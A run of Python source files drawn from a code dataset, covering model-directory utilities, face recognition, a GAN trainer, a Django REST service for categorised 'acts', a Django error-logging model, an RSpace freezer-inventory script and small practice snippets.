os.path.isdir(models_dir):\n\t\tos.mkdir(models_dir)\n\treturn model_name, experiment_dir, figures_dir, logs_dir, models_dir\n\ndef _test_make_output_dirs():\n\tmodel_name = '_test_make_output_dirs'\n\tnew_model_name, figures_dir, logs_dir, models_dir = make_output_dirs(model_name)\n\tassert new_model_name == model_name\n\tassert os.path.isdir( figures_dir )\n\tassert os.path.isdir( logs_dir )\n\tassert os.path.isdir( models_dir )\n\n\ndef get_latest_epoch_in_dir( d, match_prefixes = [] ):\n\tmodel_files = [ f for f in os.listdir(d) if f.endswith('.h5') ]\n\n\tepoch_nums = [ re.search( '(?<=epoch)[0-9]*', os.path.basename(f) ).group(0) for f in model_files ]\n\tepoch_nums = list(set([ int(n) for n in epoch_nums if n is not None and n is not '']))\n\tmax_epoch_num = 0\n\n\tif len(epoch_nums) == 0:\n\t\treturn None\n\n\tif len(match_prefixes) > 0:\n\t\tfor n in reversed(epoch_nums):\n\t\t\tcurr_filenames = [os.path.basename(f) for f in model_files if 'epoch{}'.format(n) in f ]\n\t\t\tif np.all( [ np.any( [p in f for f in curr_filenames]) for p in match_prefixes] ) and n > max_epoch_num:\n\t\t\t\tmax_epoch_num = n\n\telse:\n#\t\telif len(match_prefixes) == 0 and n>max_epoch_nums\n#\t\t\tepoch_nums = [ re.search( '(?<=epoch)[0-9]*', os.path.basename(f) ).group(0) for f in model_files if ]\n\n\t\t\tmax_epoch_num = max(epoch_nums)\n\treturn max_epoch_num\n\n\ndef load_params_from_dir(in_dir):\n\twith open(os.path.join(in_dir, 'arch_params.json'), 'r') as f:\n\t\tarch_params = json.load(f)\n\twith open(os.path.join(in_dir, 'data_params.json'), 'r') as f:\n\t\tdata_params = json.load(f)\n\treturn arch_params, data_params\n","sub_path":"file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":5740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11912948","text":"import face_recognition\nimport cv2\nimport os\nimport pickle\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\nNames = []\nEncodings = []\nknownFaces = '/home/kiranjoy/pyPro/face_recog/demoImages/known/'\nfor file in os.listdir(knownFaces):\n Names.append(file[:-4])\n image = face_recognition.load_image_file(os.path.join(knownFaces, file))\n Encodings.append(face_recognition.face_encodings(image)[0])\n\nwith open('train.pkl', 'wb') as f:\n pickle.dump(Names, f)\n pickle.dump(Encodings, f)\n\nNames = []\nEncodings = []\n\nwith open('train.pkl', 'rb') as f:\n Names = pickle.load(f)\n Encodings = pickle.load(f)\n\n\nunKnownFaces = '/home/kiranjoy/pyPro/face_recog/demoImages/unknown/'\nfor file in os.listdir(unKnownFaces):\n\n testImage = face_recognition.load_image_file(\n os.path.join(unKnownFaces, file))\n\n facePositions = face_recognition.face_locations(testImage)\n allEncodings = face_recognition.face_encodings(testImage, facePositions)\n\n testImage = cv2.cvtColor(testImage, cv2.COLOR_RGB2BGR)\n\n for Pos, face_encoding in zip(facePositions, allEncodings):\n name = 'unknown'\n (top, right, bottom, left) = Pos\n matches = face_recognition.compare_faces(Encodings, face_encoding)\n if True in matches:\n first_match_index = matches.index(True)\n name = Names[first_match_index]\n cv2.rectangle(testImage, (left, top), (right, bottom), (0, 0, 255), 2)\n cv2.putText(testImage, name, (left, top-6),\n font, .75, (255, 0, 255), 2)\n cv2.imshow('frame', testImage)\n if cv2.waitKey(0) == ord('q'):\n cv2.destroyAllWindows()\n break\n","sub_path":"face_recog/face-2.py","file_name":"face-2.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"490936874","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom generators import GeneratorSN\nfrom discriminators import DiscriminatorSN\nfrom utils import ContentLoss, TVLoss\n\n\nclass OnewayGAN:\n\n def __init__(self, image_size):\n\n self.generator = GeneratorSN().cuda()\n self.discriminator = DiscriminatorSN(image_size, num_input_channels=3).cuda()\n\n self.content_criterion = ContentLoss().cuda()\n self.tv_criterion = TVLoss().cuda()\n self.realism_criterion = nn.BCEWithLogitsLoss().cuda()\n\n betas = (0.0, 0.9)\n self.g_optimizer = optim.Adam(self.generator.parameters(), lr=1e-4, betas=betas)\n self.d_optimizer = optim.Adam(self.discriminator.parameters(), lr=4e-4, betas=betas)\n\n def train_step(self, x, y, update_generator=True):\n\n for p in self.discriminator.parameters():\n p.requires_grad = False\n\n y_fake = self.generator(x)\n content_loss = self.content_criterion(x, y_fake)\n tv_loss = self.tv_criterion(y_fake)\n\n batch_size = x.size(0)\n pos_labels = torch.ones(batch_size, dtype=torch.float, device=x.device)\n neg_labels = torch.zeros(batch_size, dtype=torch.float, device=x.device)\n realism_generation_loss = self.realism_criterion(self.discriminator(y_fake), pos_labels)\n\n if update_generator:\n\n generator_loss = content_loss + 100.0 * tv_loss\n generator_loss += 5e-2 * realism_generation_loss\n\n self.g_optimizer.zero_grad()\n generator_loss.backward()\n self.g_optimizer.step()\n\n for p in self.discriminator.parameters():\n p.requires_grad = True\n\n targets = torch.cat([pos_labels, neg_labels], dim=0)\n is_real_real = self.discriminator(y)\n is_fake_real = self.discriminator(y_fake.detach())\n logits = torch.cat([is_real_real, is_fake_real], dim=0)\n discriminator_loss = self.realism_criterion(logits, targets)\n\n self.d_optimizer.zero_grad()\n discriminator_loss.backward()\n self.d_optimizer.step()\n\n loss_dict = {\n 'content': content_loss.item(),\n 'tv': tv_loss.item(),\n 'realism_generation': realism_generation_loss.item(),\n 'discriminator': discriminator_loss.item(),\n }\n return loss_dict\n\n def save_model(self, model_path):\n torch.save(self.generator.state_dict(), model_path + '_generator.pth')\n torch.save(self.discriminator.state_dict(), model_path + '_discriminator.pth')\n","sub_path":"oneway_gan.py","file_name":"oneway_gan.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281503271","text":"from . import models\nimport base64\nfrom django.conf.urls.static import static\nimport os\nfrom dateutil.parser import parse\n \nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.status import *\nimport json\nimport requests\n\ncount_requests = [0]\ncrash_flag = False\n#user_service_ip = \"http://localhost:8080\"\n\ndef dt_tm(dt, s2o=None, o2s=None):\n\tprint(dt)\n\tif s2o == True:\n\t\tdt = dt[:10]+\" \"+dt[17:19]+\":\"+dt[14:16]+\":\"+dt[11:13]\n\t\tprint(dt)\n\t\treturn parse(dt)\n\tif o2s == True:\n\t\treturn dt.strftime(\"%d-%m-%Y:%S-%M-%H\")\n\n\n\n@api_view(['GET', 'POST'])\ndef ListAll_Add_Category(request):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tif request.method == \"GET\":\n\t\t\tprint(\"\\nListAllCategory :\", request.data, \"\\n\")\n\n\t\t\tod = dict()\n\t\t\tfor i in models.category.objects.all():\n\t\t\t\tod[i.categoryName] = i.categoryCount\n\t\t\t\t\n\t\t\tif len(od) == 0:\n\t\t\t\treturn Response({}, status=HTTP_204_NO_CONTENT)\n\t\t\t\t\n\t\t\treturn Response(od, status=HTTP_200_OK)\n\n\t\t#to add a category\n\t\telif request.method == 'POST':\n\t\t\tdata = request.data\n\t\t\tprint(\"\\nAddCategory :\", data, \"\\n\")\t\n\t\t\t\n\t\t\ttry:\n\t\t\t\tif len(data[0]) == 0:\n\t\t\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\t\t\t\t\n\t\t\t\tmodels.category.objects.create(categoryName=data[0])\n\t\t\t\treturn Response({}, status=HTTP_201_CREATED)\n\t\t\t\t\n\t\t\texcept Exception as e:\n\t\t\t\t\tprint(\"Exception :\", e)\n\t\t\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['DELETE'])\ndef RemoveCategory(request, categoryName):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tdata = request.data\n\t\tprint(\"\\nRemove category :\", data, \"\\n\")\t\n\t\t\n\t\ttry:\n\t\t\tps = models.category.objects.get(pk=categoryName).delete()\n\t\t\treturn Response({}, status=HTTP_200_OK)\n\n\t\texcept Exception as e:\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['GET'])\ndef ListActsInCategory(request, categoryName, *args, **kwargs):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tprint(\"\\nListActs :\", request.data, \"\\n\")\t\n\t\t\n\t\ttry:\n\t\t\tcategory = models.category.objects.get(pk = categoryName)\n\t\t\tstartRange, endRange = request.GET.get('start'), request.GET.get('end')\n\n\t\t\tif category.categoryCount >= 100:\n\t\t\t\treturn Response({}, status=HTTP_413_REQUEST_ENTITY_TOO_LARGE)\n\t\t\t\n\t\t\tif category.categoryCount == 0 or len(request.data) != 0:\n\t\t\t\treturn Response([], status=HTTP_204_NO_CONTENT)\n\n\t\t\tli = []\n\t\t\tfor i in models.act.objects.filter(categoryName=categoryName).order_by('-timestamp'):\n\t\t\t\tod = dict()\t\n\t\t\t\tod['actId'] = i.actId\n\t\t\t\tod['username'] = i.username\n\t\t\t\tod['timestamp'] = dt_tm(i.timestamp, o2s=True)\n\t\t\t\tod['caption'] = i.caption\n\t\t\t\tod['upvotes'] = i.upvotes\n\t\t\t\tod['imgB64'] = i.imgB64\n\t\t\t\tli.append(od)\n\t\t\t\n\t\t\t#if no range is specified in the url\n\t\t\tif startRange == None or endRange == None:\n\t\t\t\treturn Response(li, status=HTTP_200_OK)\t\t\t\n\t\t\t\n\t\t\t#if range in specified in the url\n\t\t\telse:\n\t\t\t\tif int(endRange) - int(startRange) + 1 > 100:\n\t\t\t\t\treturn Response({}, status=HTTP_413_REQUEST_ENTITY_TOO_LARGE)\n\t\t\t\t\n\t\t\t\tif int(endRange) <= 0 or int(startRange) <= 0 or int(endRange) > category.categoryCount:\n\t\t\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\n\t\t\t\treturn Response(li[int(startRange):int(endRange)+1], status=HTTP_200_OK)\n\n\t\texcept Exception as e:\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_204_NO_CONTENT)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['GET'])\ndef CountActs(request):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\t#to count number of acts across all categories\n\t\tprint('\\n CountActs', request.data, '\\n')\n\t\tcount_requests[0] += 1\n\n\t\tn = 0\n\t\tfor i in models.category.objects.all():\n\t\t\tn += i.categoryCount\n\n\t\treturn Response([n], status=HTTP_200_OK)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['GET'])\ndef NumberOfActsInCategory(request, categoryName):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tprint(\"\\n NumberOfActsInCategory :\", request.data, \"\\n\")\t\n\t\t\n\t\ttry:\n\t\t\tcategory = models.category.objects.get(pk = categoryName)\n\t\t\treturn Response([category.categoryCount], status=HTTP_200_OK)\n\t\t\n\t\texcept Exception as e:\n\t\t\treturn Response([], status=HTTP_204_NO_CONTENT)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['POST'])\ndef UpvoteAct(request):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tdata = request.data\n\t\tprint(\"\\n UpvoteAct :\", data, \"\\n\")\t\n\t\t\n\t\tif not isinstance(data[0], int):\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\t\t\n\t\ttry:\t\n\t\t\tp = models.act.objects.get(pk = data[0])\n\t\t\tp.upvotes += 1\n\t\t\tp.save()\n\t\t\treturn Response([], status=HTTP_200_OK)\n\t\t\n\t\texcept Exception as e:\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['DELETE'])\ndef RemoveAct(request, actId):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tdata = request.data\n\t\tprint(\"\\nRemoveAct :\", data, \"\\n\")\t\n\t\t\n\t\ttry:\n\t\t\tp = models.act.objects.get(pk = int(actId))\n\t\t\tp.categoryName.categoryCount -= 1\n\t\t\tp.categoryName.save()\n\t\t\tp.delete()\n\t\t\treturn Response({}, status=HTTP_200_OK)\n\t\t\n\t\texcept Exception as e:\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['POST'])\ndef UploadAct(request):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tcount_requests[0] += 1\n\t\tdata = request.data\n\t\tprint(\"\\nUploadActs :\", data, \"\\n\")\t\n\n\t\t#user validation\n\t\ttry:\n\t\t\t#headers = {\"Origin\":\"3.210.166.12\", \"Accept\":\"application/json\"}\n\t\t\theaders = {\"Accept\":\"application/json\"}\n\t\t\t#headers = {}\n\t\t\tusers = requests.get(\"http://100.25.106.87/api/v1/users\",data=\"{}\", headers=headers).text\n\t\t\tprint(\"all users : \" , users)\n\t\texcept requests.exceptions.ConnectionError:\n\t\t\tprint(\"ConnectionError\")\n\t\t\treturn Response({}, status = HTTP_400_BAD_REQUEST)\n\t\t\n\t\ttry:\n\t\t\tif data[\"username\"] not in users:\n\t\t\t\tprint(\"username not found in\", users)\n\t\t\t\treturn Response({}, status = HTTP_400_BAD_REQUEST)\n\t\texcept Exception as e:\t\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\t\t\n\t\ttry:\n\t\t\t#base 64 string validation\n\t\t\tif base64.b64encode(base64.b64decode(data['imgB64'])).decode() != data['imgB64']:\n\t\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\t\t\tif not isinstance(data['actId'], int) or 'upvotes' in data:\n\t\t\t\treturn Response({}, status = HTTP_400_BAD_REQUEST)\n\n\t\t\tformatted_timestamp = dt_tm(data['timestamp'], s2o=True)\n\t\t\tcategoryName = models.category.objects.get(pk=data['categoryName'])\n\t\t\tc = models.act.objects.create(actId=int(data['actId']), username=data[\"username\"], timestamp=formatted_timestamp, caption=data['caption'], categoryName=categoryName, imgB64=data['imgB64'])\n\t\t\tc.categoryName.categoryCount += 1\n\t\t\tc.categoryName.save()\n\t\t\treturn Response({}, status=HTTP_201_CREATED)\n\t\t\n\t\texcept Exception as e:\t\n\t\t\tprint(\"Exception :\", e)\n\t\t\treturn Response({}, status=HTTP_400_BAD_REQUEST)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['GET', 'DELETE'])\ndef count(request):\n\tglobal count_requests, crash_flag\n\tif crash_flag == False:\n\t\tprint(\"\\ncount request received\", request.data, '\\n')\n\n\t\tif request.method == 'GET':\n\t\t\treturn Response(count_requests, status=HTTP_200_OK)\n\n\t\tif request.method == 'DELETE':\n\t\t\tcount_requests = [0]\n\t\t\treturn Response({}, status=HTTP_200_OK)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['GET'])\ndef health(request):\n\tglobal crash_flag\n\tprint(\"\\nhealth request received\", request.data, \"\\n\")\n\tif (crash_flag == False):\n\t\treturn Response({}, status=HTTP_200_OK)\n\telse:\n\t\treturn Response({}, status=HTTP_500_INTERNAL_SERVER_ERROR)\n\n\n@api_view(['POST'])\ndef crash(request):\n\tglobal crash_flag\n\tprint(\"\\ncrash request received\", request.data, \"\\n\")\n\tcrash_flag = True\n\treturn Response({}, status=HTTP_200_OK)\n\n'''\n{\n\"actId\": 1234,\n\"username\": \"john_doe\",\n\"timestamp\": \"23-12-2323:45-34-22\",\n\"caption\": \"caption text\",\n\"categoryName\": \"cat1\",\n\"imgB64\": \"bGlmZSBpcyBncmVhdA==\"\n}\n'''\n","sub_path":"serverfiles/dockerized_apps/acts/acts/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"389295349","text":"import sys\nimport traceback\nimport json\nimport os\nimport logging\nfrom hashlib import md5\n\nfrom django.utils import timezone\nfrom django.db.models import Model\nfrom django.db import models\nfrom django.http import HttpResponse\nfrom django.core.cache import cache\nfrom django.core.exceptions import MultipleObjectsReturned\nfrom google.appengine.ext import db\n\nfrom .utils import construct_request_json\n\nEVENT_LEVEL_WARNING = \"WARNING\"\nEVENT_LEVEL_INFO = \"INFO\"\nEVENT_LEVEL_ERROR = \"ERROR\"\n\nEVENT_LEVEL_CHOICES = [\n (EVENT_LEVEL_ERROR, \"Error\"),\n (EVENT_LEVEL_WARNING, \"Warning\"),\n (EVENT_LEVEL_INFO, \"Info\")\n]\n\nclass Error(Model):\n exception_class_name = models.CharField(max_length=255)\n summary = models.CharField(max_length=500)\n file_path = models.TextField()\n hashed_file_path = models.CharField(max_length=32)\n\n line_number = models.PositiveIntegerField()\n is_resolved = models.BooleanField()\n event_count = models.PositiveIntegerField(default=0)\n last_event = models.DateTimeField(auto_now_add=True)\n level = models.CharField(max_length=100, choices=EVENT_LEVEL_CHOICES, default=EVENT_LEVEL_ERROR)\n\n class Meta:\n unique_together = [\n ('exception_class_name', 'hashed_file_path', 'line_number')\n ]\n\n @staticmethod\n def hash_for_file_path(file_path):\n return md5(file_path).hexdigest()\n\n def save(self, *args, **kwargs):\n self.hashed_file_path = Error.hash_for_file_path(self.file_path)\n super(Error, self).save(*args, **kwargs)\n\nclass Event(models.Model):\n error = models.ForeignKey(Error, related_name=\"events\")\n created = models.DateTimeField(auto_now_add=True)\n logged_in_user_email = models.EmailField()\n\n request_method = models.CharField(max_length=10)\n request_url = models.TextField()\n request_querystring = models.TextField()\n request_repr = models.TextField()\n request_json = models.TextField()\n\n stack_info_json = models.TextField() #JSON representation of the stack, [{ 'locals' : {}, 'source': '' }]\n\n app_version = models.CharField(max_length=64, default='Unknown')\n\n @property\n def stack_info(self):\n if self.stack_info_json:\n return json.loads(self.stack_info_json)\n else:\n return {}\n\n @property\n def request(self):\n if self.request_json:\n return json.loads(self.request_json)\n else:\n return {}\n\n @classmethod\n def log_event(cls, request, response=None, exception=None):\n from django.views.debug import ExceptionReporter\n\n stack_info = {}\n if exception:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n summary = \"{0}: {1}\".format(exception.__class__.__name__, unicode(exception))\n lineno = traceback.tb_lineno(exc_traceback)\n\n stack = traceback.extract_tb(exc_traceback)\n unique_path = \"|\".join(line[0] for line in stack)\n path = stack[-1][0]\n\n try:\n reporter = ExceptionReporter(request, is_email=False, *(exc_type, exc_value, exc_traceback))\n django_data = reporter.get_traceback_data()\n\n stack_info[\"frames\"] = django_data.get(\"frames\", [])\n\n #Traceback objects aren't JSON serializable, so delete them\n for frame in stack_info[\"frames\"]:\n if \"tb\" in frame:\n del frame[\"tb\"]\n\n stack_info[\"lastframe\"] = django_data.get(\"lastframe\", {})\n except Exception:\n logging.exception(\"Unable to get html traceback info for some reason\")\n level = EVENT_LEVEL_ERROR\n\n else:\n summary = \"{0} at {1}\".format(response.status_code, request.path)\n lineno = 0\n path = \"?\".join([request.path, request.META.get('QUERY_STRING')])\n unique_path = path\n exception = HttpResponse()\n level = EVENT_LEVEL_WARNING if response.status_code == 404 else EVENT_LEVEL_INFO\n\n exception_name = exception.__class__.__name__\n\n # unique_path is either the full URL or the combined paths from the\n # entire stack trace.\n path_hash = Error.hash_for_file_path(unique_path)\n\n #We try to get from the cache first because on the App Engine datastore\n #we'll get screwed by eventual consistency otherwise\n CACHE_KEY = \"|\".join([exception_name, path_hash, str(lineno)])\n error = cache.get(CACHE_KEY)\n if error:\n created = False\n else:\n try:\n error, created = Error.objects.get_or_create(\n exception_class_name=exception_name,\n hashed_file_path=path_hash,\n line_number=lineno,\n defaults={\n 'file_path': path,\n 'level': level,\n 'summary': summary,\n 'exception_class_name': exception.__class__.__name__ if exception else \"\"\n }\n )\n except MultipleObjectsReturned:\n #FIXME: Temporary hack for App Engine If we created dupes, this de-dupes them\n errors = Error.objects.filter(exception_class_name=exception_name, hashed_file_path=path_hash, line_number=lineno).all()\n\n max_errors = 0\n to_keep = None\n to_remove = []\n for error in errors:\n num_events = error.events.count()\n if max_errors < num_events:\n # Store the error with the most events\n to_keep = error\n max_errors = num_events\n else:\n #this error doesn't have the most events, so mark it for removal\n to_remove.append(error)\n\n assert to_keep\n\n logging.warning(\"Removing {} duplicate errors\".format(len(to_remove)))\n for error in to_remove:\n error.events.all().update(error=to_keep)\n error.delete()\n\n error = to_keep\n\n cache.set(CACHE_KEY, error)\n\n @db.transactional(xg=True)\n def txn(_error):\n _error = Error.objects.get(pk=_error.pk)\n\n event = Event.objects.create(\n error=_error,\n request_repr=repr(request).strip(),\n request_method=request.method,\n request_url=request.build_absolute_uri(),\n request_querystring=request.META['QUERY_STRING'],\n logged_in_user_email=getattr(getattr(request, \"user\", None), \"email\", \"\"),\n stack_info_json=json.dumps(stack_info),\n app_version=os.environ.get('CURRENT_VERSION_ID', 'Unknown'),\n request_json=construct_request_json(request)\n )\n\n _error.last_event = timezone.now()\n _error.event_count += 1\n _error.save()\n return event\n\n return txn(error)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"391342920","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 28 20:04:29 2022\n\n@author: richardadams\n\"\"\"\n\n#%%\nimport sys, time\nimport rspace_client\n\ncli = rspace_client.utils.createInventoryClient()\nfrom rspace_client.inv.inv import (\n GridContainer,\n InventoryClient,\n ByRow,\n ByColumn,\n SamplePost,\n GridContainerPost,\n)\n\n#%%\n\n\nclass FreezerCreator:\n def __init__(\n self,\n cli,\n shelves_per_freezer: int,\n racks_per_shelf: int,\n trays_per_rack: int,\n boxes_per_tray: int,\n ):\n self.shelves_per_freezer = shelves_per_freezer\n self.racks_per_shelf = racks_per_shelf\n self.trays_per_rack = trays_per_rack\n self.boxes_per_tray = boxes_per_tray\n self.cli = cli\n\n def create_freezer(self, name: str):\n print(\"Creating freezer\", file=sys.stderr)\n root = self.create_tier(1, name, self.shelves_per_freezer, 1)[0]\n\n ## shelves\n print(f\"Creating {shelves_per_freezer} shelves\", file=sys.stderr)\n shelves = self.create_tier(\n self.shelves_per_freezer, \"shelf\", self.racks_per_shelf, 1\n )\n self.add_to_parent_tier([root], 1, self.shelves_per_freezer, shelves)\n\n ### racks\n racks_total = racks_per_shelf * shelves_per_freezer\n print(f\"Creating {racks_total} racks\", file=sys.stderr)\n racks = self.create_tier(racks_total, \"rack\", self.trays_per_rack, 1)\n self.add_to_parent_tier(\n shelves, self.shelves_per_freezer, self.racks_per_shelf, racks\n )\n\n ### Trays\n trays_total = racks_total * trays_per_rack\n print(f\"Creating {trays_total} trays\", file=sys.stderr)\n trays = self.create_tier(trays_total, \"tray\", self.boxes_per_tray, 1)\n self.add_to_parent_tier(racks, self.racks_per_shelf, self.trays_per_rack, trays)\n\n ### Boxes\n boxes_total = trays_total * boxes_per_tray\n print(f\"Creating {boxes_total} boxes\", file=sys.stderr)\n boxes = self.create_tier(boxes_total, \"box\", 8, 12, store_samples=True)\n self.add_to_parent_tier(trays, self.trays_per_rack, self.boxes_per_tray, boxes)\n\n return {\n \"freezer\": [root],\n \"shelves\": shelves,\n \"racks\": racks,\n \"trays\": trays,\n \"boxes\": boxes,\n }\n\n def create_tier(self, n, name_prefix, rows, columns, store_samples=False):\n rc = []\n posts = []\n for i in range(0, n, 100):\n for j in range(i, min(n, i + 100) - i):\n c_post = GridContainerPost(\n f\"{name_prefix}-{i}\", rows, columns, can_store_samples=store_samples\n )\n posts.append(c_post)\n\n results = self.cli.bulk_create_container(*posts)\n if not results.is_ok():\n raise Exception(\"creating didn't work\")\n items = [c[\"record\"][\"globalId\"] for c in results.success_results()]\n rc.extend(items)\n\n return rc\n\n def add_to_parent_tier(self, parents, parents_per_gp, items_per_parent, items):\n for j in range(len(parents)):\n k = items_per_parent\n rack_slice = items[j * k : (j * k) + k]\n br = ByRow(1, 1, 1, k, *rack_slice)\n self.cli.add_items_to_grid_container(parents[j], br)\n\n\n#%%\n### Configure the size of the freezer here ( or ask for input)\nprint(\n \"Please enter the number of shelves, racks, trays and boxes to create. Boxes are 12 x 8\"\n)\nshelves_per_freezer = int(input(\"Number of shelves? (1-5)\"))\nracks_per_shelf = int(input(\"Number of racks per shelf? (1-5)\"))\ntrays_per_rack = int(input(\"Number of trays per rack? (1-5)\"))\nboxes_per_tray = int(input(\"Number of boxes per tray? (1-4)\"))\n\nparams = (shelves_per_freezer, racks_per_shelf, trays_per_rack, boxes_per_tray)\nfor i in params:\n if i < 1 or i > 5:\n raise ValueError(f\"Input arguments {params}out of range\")\nbox_cols = 12\nbox_rows = 8\nfreezer_name = (\n f\"-80:{shelves_per_freezer}x{racks_per_shelf}x{trays_per_rack}x{boxes_per_tray}\"\n)\nuser_freezer_name = input(f\"Freezer name? ( default = {freezer_name})\")\nif len(user_freezer_name) > 0:\n freezer_name = user_freezer_name\nprint(\"Creating freezer\", file=sys.stderr)\nfreezerFactory = FreezerCreator(\n cli, shelves_per_freezer, racks_per_shelf, trays_per_rack, boxes_per_tray\n)\nfreezer = freezerFactory.create_freezer(freezer_name)\n\n\n#%%\nsamples_created = 0\ntotal_samples_to_create = len(freezer[\"boxes\"]) * box_cols\nprint(f\"Creating {total_samples_to_create} samples...\", file=sys.stderr)\nfor box in freezer[\"boxes\"]:\n st = time.perf_counter()\n print(f\"Creating samples for {box}\", file=sys.stderr)\n posts = [SamplePost(f\"s{i}\", subsample_count=box_rows) for i in range(box_cols)]\n resp = cli.bulk_create_sample(*posts)\n col = 1\n samples_created = samples_created + box_cols\n print(\n f\" created {box_cols} samples / {total_samples_to_create}\", file=sys.stderr,\n )\n\n ## we can move 12 samples at a time\n ss_ids = []\n for result in resp.data[\"results\"]:\n sample = result[\"record\"]\n s_ids = [ss[\"globalId\"] for ss in sample[\"subSamples\"]]\n ss_ids.extend(s_ids)\n print(f\"moving {box_cols} samples to {box}\", file=sys.stderr)\n gp = ByColumn(col, 1, box_cols, box_rows, *ss_ids)\n cli.add_items_to_grid_container(box, gp)\n stop = time.perf_counter()\n print(f\"Filling {box} took {(stop - st):.2f}s\", file=sys.stderr)\nprint(\"COMPLETED\", file=sys.stderr)\n","sub_path":"examples/freezer.py","file_name":"freezer.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"261299871","text":"'''a=input(\"Enter t-he string\")\r\nb=a.replace(\"plus\",\"+\").replace(\"mul\",\"*\").replace(\"minus\",\"-\").replace(\"div\",\"/\")\r\nprint(eval(b))'''\r\n\r\n'''name=input(\"Enter the String: \")\r\nDOB=input(\"Enter DOB: \")\r\nprint(\"Hiii...{n} {d} {i:.3f} Welcome to BITA\".format(n=name,d=DOB,i=6.66666666))'''\r\n\r\n'''print('/{:<10}/{:^10}/{:>12}'.format(\"welcome\",\"to\",\"BITA\"))'''\r\n\r\n'''a=[]\r\nc=0\r\nfor i in range(1001):\r\n if i%3==0 or i%5==0:\r\n a.append(i)\r\n c+=1\r\nprint(a)\r\nprint(c)\r\nprint(len(a))\r\nprint(max(a))\r\nprint(min(a))'''\r\n\r\n'''v=['a','e','i','o','u']'''\r\n\r\n'''a=[1,[2,3,4],[5,6,7]]\r\nprint(a[1])\r\nprint(a[1][2])'''\r\n\r\n'''a=[[i for i in range(3)]for j in range(3)]\r\nprint(a)'''\r\n\r\n'''a=[i for i in range(1001) if not i%3 or not i%5]\r\nprint(a)'''\r\n\r\n'''a=[1,2,3,4]\r\nb=[1,'jghj',6]\r\na.extend(b)\r\nprint(a)\r\na.append(b)\r\nprint(a)'''\r\n\r\n'''l=[9,6,42,30]\r\nfor i in l:\r\n for j in i:\r\n if i>j==0:\r\n t=i\r\n i=j\r\n j=t\r\n print(t)\r\n\r\n'''\r\n\r\n\r\nc=['Ford','BMW','Volvo']\r\nb=c.sort()\r\nprint(b)\r\n\r\n","sub_path":"replace.py","file_name":"replace.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486235431","text":"import ddsp.training\nimport gin\n\n\nclass DDSPGenerator:\n def __init__(self, checkpoint_path: str, gin_config: str):\n self.model = None\n self.checkpoint_path = checkpoint_path\n self.gin_config = gin_config\n self._load_model()\n\n def _load_model(self):\n gin.parse_config_file(self.gin_config)\n self.model = ddsp.training.models.Autoencoder(encoder=None)\n self.model.restore(self.checkpoint_path)\n\n def predict(self, inputs):\n outputs = self.model(inputs, training=False)\n return 